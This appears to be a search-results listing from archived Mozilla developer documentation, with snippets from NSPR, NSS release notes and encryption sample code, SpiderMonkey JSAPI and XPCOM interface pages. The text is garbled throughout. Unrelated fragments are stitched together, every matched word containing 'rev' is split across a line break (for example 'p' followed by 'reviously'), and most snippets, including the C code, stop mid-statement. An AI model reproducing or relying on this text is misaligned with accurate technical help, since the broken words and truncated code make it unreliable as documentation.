reviation, like so: <_unitedemesure { b: "o", kb: "ko", mb: "mo", gb: "go", tb: "to" }> <availablesize "il reste {{ $size }} {{ _unitedemesure[unit] }}"> similarly, other local variables could be used to provide better and more natural translations in french and other languages alike.
Midas
redo this command will redo the p
revious undo action.
... undo this command will undo the p
revious action.
Nonblocking IO In NSPR
introduction p
reviously, all i/o in the netscape portable runtime (nspr) was blocking (or synchronous).
...the socket returned by <tt>pr_accept()</tt> or <tt>pr_acceptread()</tt> on a blocking, listening socket may be a recycled socket p
reviously used in a <tt>pr_transmitfile()</tt> call.
PLHashComparator
pl_compa
revalues compares the values of the arguments v1 and v2 numerically.
... see also pl_comparestrings, pl_compa
revalues ...
PR_FreeLibraryName
syntax #include <prlink.h> void pr_freelibraryname(char *mem); parameters the function has this parameter: mem a reference to a character array that was p
reviously allocated by the dynamic library runtime.
... description this function deletes the storage allocated by the runtime in the functions described p
reviously.
Certificate functions
ter cert_certlistfromcert mxr 3.2 and later cert_certtimesvalid mxr 3.2 and later cert_changecerttrust mxr 3.2 and later cert_checkcertvalidtimes mxr 3.2 and later cert_checknamespace mxr 3.12 and later cert_checkcertusage mxr 3.3 and later cert_comparename mxr 3.2 and later cert_compa
revaliditytimes mxr 3.11 and later cert_completecrldecodeentries mxr 3.6 and later cert_convertanddecodecertificate mxr 3.9.3 and later cert_copyname mxr 3.4 and later cert_copyrdn mxr 3.5 and later cert_createava mxr 3.2.1 and later cert_createcertificate mxr 3.5 and later cert_createcertificater...
...mxr 3.10 and later cert_getocspresponsestatus mxr 3.6 and later cert_getocspstatusforcertid mxr 3.6 and later cert_getoidstring mxr 3.9 and later cert_getorgname mxr 3.2 and later cert_getorgunitname mxr 3.2 and later cert_getocspauthorityinfoaccesslocation mxr 3.4 and later cert_getpkixverifynist
revocationpolicy mxr 3.12 and later cert_getp
revgeneralname mxr 3.10 and later cert_getp
revnameconstraint mxr 3.10 and later cert_getsloptime mxr 3.2 and later cert_getsslcacerts mxr 3.2 and later cert_getstatename mxr 3.2 and later cert_getusepkixforvalidation mxr 3.12 and later cert_getvaliddnsp...
Encrypt Decrypt MAC Keys As Session Objects
_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using p
reviously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); ...
... * loop until eof(input) * read a buffer of plaintext from input file, * mac it, append the mac to the plaintext * encrypt it using cbc, using p
reviously created iv, * store the last block of ciphertext as the new iv, * write the cipher text to intermediate file * close files * report success */ secstatus rv; prfiledesc *infile; prfiledesc *headerfile; prfiledesc *encfile; unsigned char *enckeyid = (unsigned char *) "encrypt key"; unsigned ch...
Encrypt and decrypt MAC using token
_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using p
reviously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); ...
... * loop until eof(input) * read a buffer of plaintext from input file, * mac it, append the mac to the plaintext * encrypt it using cbc, using p
reviously created iv, * store the last block of ciphertext as the new iv, * write the cipher text to intermediate file * close files * report success */ secstatus rv; prfiledesc *infile; prfiledesc *headerfile; prfiledesc *encfile; unsigned char *enckeyid = (unsigned char *) "encrypt key"; unsigned ch...
NSS 3.12.6 release notes
bug 275744: support for tls compression rfc 3749 bug 494603: update nss's copy of sqlite3 to 3.6.22 to get numerous bug fixes bug 496993: add accessor functions for ssl_implementedciphers bug 515279: cert_pkixverifycert considers a certificate
revoked if cert_processocspresponse fails for any reason bug 515870: gcc compiler warnings in nss 3.12.4 bug 518255: the input buffer for sgn_update should be declared const bug 519550: allow the specification of an alternate library for sqlite bug 524167: crash in [[@ find_objects_by_template - nsstoken_findcertificatebyissuerandserialnumber] bug 526910: ...
...new and
revised documents available since the release of nss 3.11 include the following: build instructions nss shared db compatibility nss 3.12.6 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.17.2 release notes
this fixes a regression introduced in nss 3.16.2 that p
revented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries.
...p
reviously nss would only validate the peer's public key before performing ecdh key agreement.
NSS 3.21 release notes
nss 3.21 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_rtm/src/ security fixes in nss 3.21 bug 1158489 / cve-2015-7575 - p
revent md5 downgrade in tls 1.2 signatures.
...ure and hash algorithm is available ssl_error_unsupported_signature_algorithm - error code for when an unsupported signature and hash algorithm is configured ssl_error_missing_extended_master_secret - error code for when the extended master secret is missing after having been negotiated ssl_error_unexpected_extended_master_secret - error code for receiving an extended master secret when p
reviously not negotiated in sslt.h ssl_enable_extended_master_secret - configuration to enable the tls extended master secret extension (rfc 7627) ssl_preinfo_version - used with sslpreliminarychannelinfo to indicate that a tls version has been selected ssl_preinfo_cipher_suite - used with sslpreliminarychannelinfo to indicate that a tls cipher suite has been selected ssl_preinfo...
NSS 3.24 release notes
counter mode and galois/counter mode (gcm) have checks to p
revent counter overflow.
...in fips mode, you may move from level 1 to level 2 (by setting an appropriate password), but not the
reverse.
NSS 3.39 release notes
p
revious versions of nss accepted an rsa pkcs#1 v1.5 signature where the digestinfo structure was missing the null parameter.
... the tstclnt and selfserv test utilities no longer accept the -z parameter, as support for tls compression was removed in a p
revious nss version.
Enc Dec MAC Output Public Key as CSR
r_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using p
reviously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); ...
...value to use as iv for aes cbc * open an input file and an output file, * wrap the symmetric and mac keys using public key * write a header to the output that identifies the two wrapped keys * and public key * loop until eof(input) * read a buffer of plaintext from input file, * mac it, append the mac to the plaintext * encrypt it using cbc, using p
reviously created iv, * store the last block of ciphertext as the new iv, * write the cipher text to intermediate file * close files * report success */ secstatus rv; seckeypublickey *pubkey = null; secitem *pubkeydata = null; prfiledesc *infile = null; prfiledesc *headerfile = null; ...
Encrypt Decrypt_MAC_Using Token
*/ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using p
reviously created iv.
... * loop until eof(input) * read a buffer of plaintext from input file, * mac it, append the mac to the plaintext * encrypt it using cbc, using p
reviously created iv, * store the last block of ciphertext as the new iv, * write the cipher text to intermediate file * close files * report success */ secstatus rv; prfiledesc *infile; prfiledesc *headerfile; prfiledesc *encfile; unsigned char *enckeyid = (unsigned char *) "encrypt key"; unsigned ch...
NSS Sample Code Sample_3_Basic Encryption and MACing
_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using p
reviously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); ...
... * loop until eof(input) * read a buffer of plaintext from input file * mac it, append the mac to the plaintext * encrypt it using cbc, using p
reviously created iv * store the last block of ciphertext as the new iv * write the cipher text to intermediate file * close files * report success */ secstatus rv; prfiledesc *infile; prfiledesc *headerfile; prfiledesc *encfile; unsigned char *enckeyid = (unsigned char *) "encrypt key"; unsigned char...
EncDecMAC using token object - sample 3
, cka_sign, mk, &noparams); if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using p
reviously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "encrypt failure\n"); goto cleanup; } /* save the last block of ciphertext as ...
...* loop until eof(input) * read a buffer of plaintext from input file, * mac it, append the mac to the plaintext * encrypt it using cbc, using p
reviously created iv, * store the last block of ciphertext as the new iv, * write the cipher text to intermediate file * close files * report success */ secstatus rv; prfiledesc *infile; prfiledesc *headerfile; prfiledesc *encfile; unsigned char *enckeyid = (unsigned char *) "encrypt key"; unsigned char *mackeyid = (unsigned char *) "mac key"; secitem enckeyid = { siasciistring, enckeyid, pl_strlen(e...
PKCS11 FAQ
nss can use the cka_label attribute to identify user certificates (see p
revious question) and presents this label to the user.
...the motivation for this is that some hardware tokens will p
revent extraction of symmetric keys by design.
PKCS #11 Module Specs
when this flag is not specified, softoken will allocate large tables to p
revent lock contention.
...when this flag is not specified, softoken will allocate large tables to p
revent lock contention.
FC_GetTokenInfo
ulsessioncount: number of sessions that this application currently has open with the token ulrwsessioncount: number of read/write sessions that this application currently has open with the token hardwa
reversion: hardware version number, for example, 8.3 (major=0x08, minor=0x03), which are the version numbers of the certificate and key databases, respectively.
... firmwa
reversion: firmware version number, 0.0 (major=0x00, minor=0x00).
NSS tools : modutil
please contribute to the initial
review in mozilla nss bug 836477[1] description the security module database tool, modutil, is a command-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens.
... the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which p
revent it from being easily used by multiple applications simultaneously.
sslcrt.html
to obtain the value to pass in the wincx parameter, call ssl_
revealpinarg.
...to obtain the value to pass in the wincx parameter, call ssl_
revealpinarg.
sslintro.html
if ssl can locate the information about a p
revious connection in the local session cache, it can reestablish the connection much more quickly than it can without the connection information.
... callback functions, including these: cert_checkcertvalidtimes cert_getdefaultcertdb cert_destroycertificate cert_dupcertificate cert_findcertbyname cert_freenicknames cert_getcertnicknames cert_verifycertname cert_verifycertnow pk11_findcertfromnickname pk11_findkeybyanycert pk11_setpasswordfunc pl_strcpy pl_strdup pl_strfree pl_strlen ssl_peercertificate ssl_
revealurl ssl_
revealpinarg cleanup this portion of an ssl-enabled application consists primarily of closing the socket and freeing memory.
NSS Tools modutil
: netscape internal pkcs #11 modulelibrary file: **internal only module**manufacturer: netscape communications corp description: communicator internal crypto svcpkcs #11 version 2.0library version: 4.0cipher enable flags: nonedefault mechanism flags: rsa:dsa:rc2:rc4:des:sha1:md5:md2slot: communicator internal cryptographic services version 4.0manufacturer: netscape communications corp type: softwa
reversion number: 4.1firmware version: 0.0status: enabledtoken name: communicator generic crypto svcstoken manufacturer: netscape communications corp token model: libsec 4.0 token serial number: 0000000000000000token version: 4.0token firmware version: 0.0access: write protectedlogin type: public (no login required)user pin: not initializedslot: communicator user private key and certificate servicesm...
...anufacturer: netscape communications corp type: softwa
reversion number: 3.0firmware version: 0.0status: enabledtoken name: communicator certificate db token manufacturer: netscape communications corp token model: libsec 4.0 token serial number: 0000000000000000token version: 7.0token firmware version: 0.0access: not write protectedlogin type: login requireduser pin: not initialized setting a default provider this example makes the specified module a default provider for the rsa, dsa, and rc2 security mechanisms: modutil -default "cryptographic module" -dbdir c:\databases -mechanisms rsa:dsa:rc2 the security module database tool displays a warning: warning: performing this operation while communicator is running couldcause corruption of your security databases.
NSS tools : signver
signver -v -s signature_file -i signed_file -d sql:/home/my/sharednssdb signatu
revalid=yes printing signature data the -a option prints all of the information contained in a signature file.
... the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which p
revent it from being easily used by multiple applications simultaneously.
Rebranding SpiderMonkey (1.8.5)
after installing the build pre-requisites and downloading the spidermonkey source tarball issue the following commands at the terminal: cd js/src autoconf-2.13 for the remainder of this document whe
rever you see the text $brand you will substitute that text with the name of your brand.
...if you have failed to insert your brand name in any of the p
revious steps where it is called for, you must delete this build directory and restart this process from the beginning.
Exact Stack Rooting
by using js::handlet in the interface instead of direct gcpointers, we ensure that the gcthing is already rooted on some p
revious stack frame, freeing us from having to worry about rooting the gcthing for the duration of the call.
...this p
revents an entire class of bugs where return values are not rooted properly before the next js-api call.
JIT Optimization Outcomes
singleton one of the types present in the typeset was a singleton type, p
reventing the optimization from being enabled.
... unboxedconvertedtonative the object whose property is being accessed was p
reviously unboxed but was deoptimized and converted to a native object.
JSAPI Cookbook
*/ js::autosaveexceptionstate savedstate(cx); if (!js_callfunctionname(cx, global, "cleanup", 0, null, &r)) { /* the new error replaces the p
revious one, so discard the saved exception state.
...specify writable: false to make the property read-only and configurable: false to p
revent it from being deleted or redefined.
JSNewEnumerateOp
jsenumerate_next a p
reviously allocated opaque iterator state is passed in via statep.
... jsenumerate_destroy destroy the opaque iterator state p
reviously allocated in *statep by a call to this function when enum_op was jsenumerate_init or jsenumerate_init_all.
JSVAL_LOCK
locks a js value to p
revent garbage collection on it.
...jsval_lock locks a js value, v, to p
revent the value from being garbage collected.
JS_ClearContextThread
js_setcontextthread returns the thread id of the thread p
reviously associated with this context.
... when the function is used properly, the return value is always zero, indicating that no thread was p
reviously associated with the context.
JS_DropExceptionState
destroys a jsexceptionstate object p
reviously created using js_saveexceptionstate.
...this object should p
reviously have been created using js_saveexceptionstate.
JS_NewExternalString
this must be an id number p
reviously returned by a successful call to js_addexternalstringfinalizer.
...if you use this as a pointer, you should clean it up in the external string finalizer that was p
reviously set up using js_addexternalstringfinalizer.
JS_PopArguments
mark void * pointer to a void * which holds the stack frame pointer p
reviously supplied by js_pusharguments.
... description js_poparguments frees the stack frame pointer p
reviously allocated by js_pusharguments and unroots the jsvals which have been associated with it (those returned by js_pusharguments as well).
JS_RestoreExceptionState
restores the exception state from a jsexceptionstate object p
reviously created using js_saveexceptionstate.
... description this function permits to restore any p
reviously saved exception state which was saved into a jsexceptionstate object created by the js_saveexceptionstate function.
JS_SealObject
p
revent modification of object fields.
... description js_sealobject p
revents all write access to the object, either to add a new property, delete an existing property, or set the value or attributes of an existing property.
JS_SetContextCallback
for example, the callback my call js_getcontextprivate(cx) in order to free up resources p
reviously allocated by js_setcontextprivate.
...this function returns the p
revious context callback, if any, else null.
JS_SetProperty
if obj is a proxy, the js_setproperty [[set]] internal method defined in es2015 (
rev 29 9.5.9) is performed.
... otherwise, [[set]] internal method defined in es2015 (
rev 29 9.1.9) is performed.
JS_malloc
p void * (js_realloc and js_free only) pointer to a p
reviously allocated region of memory to resize or deallocate.
...js_free deallocates a region of memory allocated a p
revious call to js_malloc, js_realloc, or js_strdup.
Mozilla Projects
these operations include setting up an ssl connection, object signing and signature verification, certificate management (including issuance and
revocation), and other common pki functions.
...to that end, this document will be
revised over time as we find new and better ways of helping developers.
A Web PKI x509 certificate primer
the attributes of the certificates in the verification path have valid parameters for that verification (for example the validity period of all the certificates are valid for the time the verification is being done)
revocation checks are considered ok for that particular validation.
... authority information access this extension is primarily used to to describe the ocsp location for
revocation checking.
Setting up an update server
this is a security measure designed to p
revent anyone from serving malicious updates.
... installing the update you may want to start by deleting any pending updates to ensure that no p
reviously found updates interfere with installing the desired update.
AT Development
this article (from 2007)
reviews the progress and technology as it has developed.
... accessibility architecture how the accessibility hierarchy is implemented in mozilla (some issues aren't addressed by p
revious guide).
XPCOM array guide
array guidelines here are a few simple rules which will keep your code clean and your developers happy: use typesafe arrays like nscomarray<t> nstarray<t> whe
rever possible.
...good thing the interface is under
review.
Component Internals
« p
reviousnext » where the p
revious chapter described components from the perspective of a client of xpcom components, this chapter discusses components from the perspective of the software developer.
... « p
reviousnext » copyright (c) 2003 by doug turner and ian oeschger.
Packaging WebLock
« p
reviousnext » in this final part of the tutorial, we'll put all of the pieces of the web locking component - the library itself, the type library, the header file, and the user interface resources - into a package that can be installed on other systems.
... « p
reviousnext » copyright (c) 2003 by doug turner and ian oeschger.
Preface
although basic ideas such as inheritance and encapsulation should be familar to you, whe
rever possible they are explained in the book as they are used.
... acknowledgements thanks to peter lubczynski, john gaunt, ellen evans, and alec flett for technical
reviews.
Resources
« p
revious this last section of the book provides a list of resources referred to in the tutorial and other links that may be useful to the gecko developer.
...etscape portable runtime environment embedding mozilla current module owners xpinstall xul xpcom resources the xpcom project page xulplanet's online xpcom reference information on xpconnect and scriptable components the smart pointer guide xpidl xpidl compiler reference general development resources the world wide web consortium url specification at the w3 gnu make « p
revious copyright (c) 2003 by doug turner and ian oeschger.
Setting up the Gecko SDK
« p
reviousnext » this chapter provides basic setup information for the gecko software development kit (sdk) used to build the weblock component in this tutorial.
...t: %.idl $(xpidl) -m typelib $(gecko_includes) $< %.o: %.cpp makefile $(cxx) -c $(cppflags) $(cxxflags) $(gecko_config_include) $(gecko_defines) $(gecko_includes) $< $(module).so: $(xpidlsrcs:%.idl=%.h) $(xpidlsrcs:%.idl=%.xpt) $(cppsrcs:%.cpp=%.o) $(cxx) -o $@ -wl,-soname=$(module).so $(cppsrcs:%.cpp=%.o) $(gecko_ldflags) chmod +x $@ build: $(module).so clean: rm $(module).so « p
reviousnext » copyright (c) 2003 by doug turner and ian oeschger.
Receiving startup notifications
registering with the category manager to register with the category manager, simply call its nsicategorymanager.addcategoryentry() method: categorymanager->addcategoryentry(appstartup_category, "mycomponentname", "contract-id", pr_true, pr_true, getter_copies(p
revious)); this causes your component to be instantiated using nsicomponentmanager.createinstance().
... if you want your component to be started as a service, prepend "service," to the contract id: categorymanager->addcategoryentry(appstartup_category, "mycomponentname", "service,contract-id", pr_true, pr_true, getter_copies(p
revious)); with "service," specified, the component is instantiated using nsicomponentmanager.getservice().
Components.classes
note that components.classes reflects only those component classes that have been p
reviously installed and registered with the component manager using contractids.
... shortcuts it's a common practice to abb
reviate components.classes and components.interfaces by storing a reference to the object as a constant: const cc = components.classes, ci = components.interfaces; var os = cc["@mozilla.org/observer-service;1"] .getservice(ci.nsiobserverservice); a less known trick, useful when creating multiple instances of the same component, is to use the new operator on the class object: var clazz = ...
Language bindings
it returns a reference to the clone:components.utils.createobjectincomponents.utils.createobjectin creates a new javascript object in the scope of the specified object's compartment.components.utils.evalinsandboxthe evalinsandbox() function enables you to evaluate javascript code inside a sandbox you've p
reviously created using the components.utils.sandbox constructor.components.utils.evalinwindowthis function enables code running in a more-privileged javascript context to evaluate a string in a less-privileged javascript context.
...this can be particularly handy with restartless (boostrapped) extensions, so that you can unload an old version of a code module when a new version of your add-on is installed.components.utils.unwaivexraysundo a p
revious call to components.utils.waivexrays(), restoring xray vision for the caller.components.utils.waivexrayswaives xray vision for an object, giving the caller a transparent wrapper to the underlying object.javaxpcomjavaxpcom allows for communication between java and xpcom, such that a java application can access xpcom objects, and xpcom can access any java class that implements an xpcom interface...
IAccessibleTable
selectcolumn() selects a column and unselects all p
reviously selected columns.
...selectrow() selects a row and unselects all p
reviously selected rows.
IAccessibleTable2
selectcolumn() selects a column and unselects all p
reviously selected columns.
...selectrow() selects a row and unselects all p
reviously selected rows.
imgILoader
libpr0n does not keep a strong ref to the observer; this p
revents reference cycles.
...libpr0n does not keep a strong ref to the observer; this p
revents reference cycles.
mozIStorageConnection
return value returns the p
revious registered handler.
... return value returns the p
revious registered handler, or null if none was p
reviously registered.
nsIAccessible
nsiaccessible.parent to get the parent accessible nsiaccessible.nextsibling, nsiaccessible.p
revioussibling to get sibling accessibles nsiaccessible.firstchild, nsiaccessible.lastchild to get first and last child nsiaccessible.children, nsiaccessible.getchildat(), nsiaccessible.childcount to navigate through the children by index accessible position you can use nsiaccessible.indexinparent to get accessible index in its parent.
... p
revioussibling p
revious sibling in accessible tree.
nsIAccessibleRelation
note: the label and description (see relation_described_by) relations may be used to p
revent redundant information from being presented by the screen reader, since the label and description can occur both on their own, and in the name or description fields of an nsiaccessible.
... note: the label (see relation_labelled_by) and description relations may be used to p
revent redundant information from being presented by the screen reader, since the label and description can occur both on their own, and in the name or description fields of an nsiaccessible.
nsIAccessibleTable
selectcolumn() select a column and unselects all p
reviously selected columns.
... selectrow() select a row and unselects all p
reviously selected rows.
nsIAppShell
the default is to p
revent native event starvation.
...when the number of calls that pass pr_true is subtracted from the number of calls that pass pr_false is greater than 0, performance is given precedence over p
reventing event starvation.
nsICachingChannel
holding a reference to this key does not p
revent the cached data from being removed.
...holding a reference to this token p
revents the cached data from being removed.
nsICategoryManager
return value the p
revious value for the given category entry (if any).
...let categorymanager = cc['@mozilla.org/categorymanager;1']; categorymanager.getservice(ci.nsicategorymanager).deletecategoryentry('gecko-content-viewers', content_type, false); // update pref manager to p
revent plugins from loading in future var stringtypes = ''; var types = []; var pref_disabled_plugin_types = 'plugin.disable_full_page_plugin_for_types'; if (services.prefs.prefhasuservalue(pref_disabled_plugin_types)) { stringtypes = services.prefs.getcharpref(pref_disabled_plugin_types); } if (stringtypes !== '') { types = stringtypes.split(','); } if (types.indexof(content_type) === -1) ...
nsIClipboardDragDropHooks
use this to do things such as p
revent a drag from starting, adding or removing data and flavors, or p
reventing the drop.
...allowstartdrag() p
revents the drag from starting.
nsICommandLine
p
reventdefault boolean there may be a command-line handler which performs a default action if there was no explicit action on the command line (open a default browser window, for example).
... this flag allows the default action to be p
revented.
nsICookie
constants constant value description status_unknown 0 the cookie collected in a p
revious session, and its information no longer exists.
... policy_unknown 0 the cookie collected in a p
revious session, and its information no longer available.
nsICookieService
note: this function is redundant and will most likely be removed in a future
revision of this interface.
... note: this function is redundant and will most likely be removed in a future
revision of this interface.
nsICryptoHash
the result is computed as a hex string as in the p
revious example.
...as in the p
revious example, we convert the binary result to a hex string.
nsILoginManager
to create an instance, use: var loginmanager = components.classes["@mozilla.org/login-manager;1"] .getservice(components.interfaces.nsiloginmanager); method overview void addlogin(in nsilogininfo alogin); nsiautocompleteresult autocompletesearch(in astring asearchstring, in nsiautocompleteresult ap
reviousresult, in nsidomhtmlinputelement aelement); unsigned long countlogins(in astring ahostname, in astring aactionurl, in astring ahttprealm); boolean fillform(in nsidomhtmlformelement aform); void findlogins(out unsigned long count, in astring ahostname, in astring aactionurl, in astring ahttprealm, [retval, array, size_is(count)] out nsilogininfo logins); vo...
... nsiautocompleteresult autocompletesearch( in astring asearchstring, in nsiautocompleteresult ap
reviousresult, in nsidomhtmlinputelement aelement ); parameters asearchstring missing description ap
reviousresult missing description aelement missing description return value missing description countlogins() returns the number of logins matching the specified criteria.
nsINavHistoryResult
this is used to p
revent rapid flickering of changes when performing batch or temporary operations on the result structure.
... removeobserver() removes an observer that was added by a p
revious call to addobserver().
nsINavHistoryResultTreeViewer
1.0 66 introduced gecko 1.8 inherits from: nsinavhistoryresultobserver last changed in gecko 1.9 (firefox 3) this object removes itself from the associated result when the tree is detached; this p
revents circular references.
...this p
revents you from seeing multiple entries for things when you have selected to get visits.
nsIPermissionManager
this must have been p
reviously registered using the add() method.
...this must have been p
reviously registered using the add() method.
Component; nsIPrefBranch
aobserver an observer p
reviously registered with addobserver.
...unlocking a p
reviously locked preference allows the preference service to once again return the user set value of the preference.
nsIPrincipal
void
revertcapability(in string capability, inout voidptr annotation); native code only!
... native code only!iscapabilityenabled boolean iscapabilityenabled( in string capability, in voidptr annotation ); parameters capability missing description annotation missing description return value missing description exceptions thrown missing exception missing description native code only!
revertcapability void
revertcapability( in string capability, inout voidptr annotation ); parameters capability missing description annotation missing description exceptions thrown missing exception missing description native code only!setcanenablecapability void setcanenablecapability( in string capability, in short canenable ); parameters capability mi...
nsIPrintingPrompt
isforprinting true - for printing, false for print p
review.
...if false is returned it means the observer (usually the caller) shouldn't wait for print p
review progress there is intermediate progress.
nsIProtocolProxyService
use resolveasync instead p
revious doc this method returns a nsiproxyinfo instance that identifies a proxy to be used for loading the given uri.
...a proxy is disabled if it had p
reviously failed-over to another proxy (see getfailoverforproxy()).
nsIScreen
lockminimumbrightness() locks the minimum brightness of the screen, p
reventing it from becoming any dimmer than that brightness level.
... unlockminimumbrightness() releases a lock on the minimum brightness of the screen, which was p
reviously established through a corresponding call to lockminimumbrightness().
nsIScriptableIO
nsiinputstream: a stream returned by a p
revious call to this method, or any other object that implements nsiinputstream.
... nsioutputstream: a stream returned by a p
revious call to this method, or any other object that implements nsioutputstream.
nsIStreamListener
aoffset number of bytes that were sent in p
revious ondataavailable() calls for this request.
... in other words, the sum of all p
revious count parameters.
nsITransaction
boolean merge( in nsitransaction atransaction ); parameters atransaction the p
reviously executed transaction to merge.
...can only be called on a transaction that was p
reviously undone.
nsITreeBoxObject
p
revents scrolling off the end of the tree.
...this method p
revents scrolling off the end of the tree.
nsIUpdate
ideally, this page is not the release notes but some other page that summarizes the differences between this update and the p
revious, which also links to the release notes.
... p
reviousappversion astring the application version prior to the application being updated.
nsIWebBrowser
the embedder may set this property to their own implementation if they intend to override or p
revent how certain kinds of content are loaded.
... removewebbrowserlistener() removes a p
reviously registered listener.
nsIWebProgress
removeprogresslistener() removes a p
reviously registered listener of progress events.
... void removeprogresslistener( in nsiwebprogresslistener alistener ); parameters alistener the listener interface p
reviously registered with a call to addprogresslistener().
nsIWindowMediator
note: starting in gecko 8.0, the returned value is an nsidomwindow; p
reviously, it was an nsidomwindowinternal.
...note this interface makes no requirement that a window couldn't be
revisited if windows are re-ordered while z-order enumerators are active.
nsIXPCScriptable
jsenumerate_next a p
reviously allocated opaque iterator state is passed in via statep.
... jsenumerate_destroy this function should destroy the opaque iterator state p
reviously allocated in statep by this function when enum_op was jsenumerate_init.
nsIXULTemplateBuilder
templates may generate content recursively, using the same template, but with the p
revious iteration's results as the reference point.
...templates may generate content recursively, using the p
revious iteration's results as reference point to invoke the same queries.
XPCOM Interface Reference
mstorageeventobsoletensidomstorageitemnsidomstoragelistnsidomstoragemanagernsidomstoragewindownsidomuserdatahandlernsidomwindownsidomwindow2nsidomwindowinternalnsidomwindowutilsnsidomxpathevaluatornsidomxpathexceptionnsidomxpathexpressionnsidomxpathresultnsidomxulcontrolelementnsidomxulelementnsidomxullabeledcontrolelementnsidomxulselectcontrolelementnsidomxulselectcontrolitemelementnsidatasignatu
reverifiernsidebugnsidebug2nsidevicemotionnsidevicemotiondatansidevicemotionlistenernsidialogcreatornsidialogparamblocknsidictionarynsidirindexnsidirindexlistenernsidirindexparsernsidirectoryenumeratornsidirectoryiteratornsidirectoryservicensidirectoryserviceprovidernsidirectoryserviceprovider2nsidiskcachestreaminternalnsidispatchsupportnsidocshellnsidocumentloadernsidownloadnsidownloadhistorynsidown...
...ortsdoublensisupportsfloatnsisupportsidnsisupportsinterfacepointernsisupportsprboolnsisupportsprint16nsisupportsprint32nsisupportsprint64nsisupportsprtimensisupportspruint8nsisupportspruint16nsisupportspruint32nsisupportspruint64nsisupportsprimitivensisupportsprioritynsisupportsstringnsisupportsvoidnsisupportsweakreferencensisyncjpakensisyncmessagesendernsitxttohtmlconvnsitaggingservicensitaskbarp
reviewnsitaskbarp
reviewbuttonnsitaskbarp
reviewcontrollernsitaskbarprogressnsitaskbartabp
reviewnsitaskbarwindowp
reviewnsitelemetrynsitextinputprocessornsitextinputprocessorcallbacknsitextinputprocessornotificationnsithreadnsithreadeventfilternsithreadinternalnsithreadmanagernsithreadobservernsithreadpoolnsithreadpoollistenernsitimernsitimercallbacknsitoolkitnsitoolkitprofilensitoolkitprofileservicensi...
XPCOM ownership guidelines
parents own their children (and not the
reverse).
... containers own the things they contain (and not the
reverse).
XPCOM
if you have a class that you think is involved in a cyclical-ownership leak, this page is for you.introduction to xpcom for the domwarning: this document has not yet been
reviewed by the dom gurus, it might contain some errors.language bindingsan xpcom language binding is a bridge between a particular language and xpcom to provide access to xpcom objects from that language, and to let modules written in that language be used as xpcom objects by all other languages for which there are xpcom bindings.monitoring http activitygecko includes the nsihttpactivityobserver int...
...this implementation will allow you to get(), set(), define(), and undefine() nsifile.using nsipasswordmanagertechnical
review completed.using nsisimpleenumeratorusing the clipboardthis section provides information about cutting, copying, and pasting to and from the clipboard.using the gecko sdkweak referencein xpcom, a weak reference is a special object that contains a pointer to an xpcom object, but doesnot keep that object alive.
XPIDL Syntax
status of this document this is a partial
reverse-engineering of the libidl source code's parser, limited mostly to the subset of functionality that is supported by the mozilla xpidl binary.
...unlike the c preprocessor, when a file is included multiple times, it acts as if the subsequent includes did not happen; this p
revents the need for include guards.
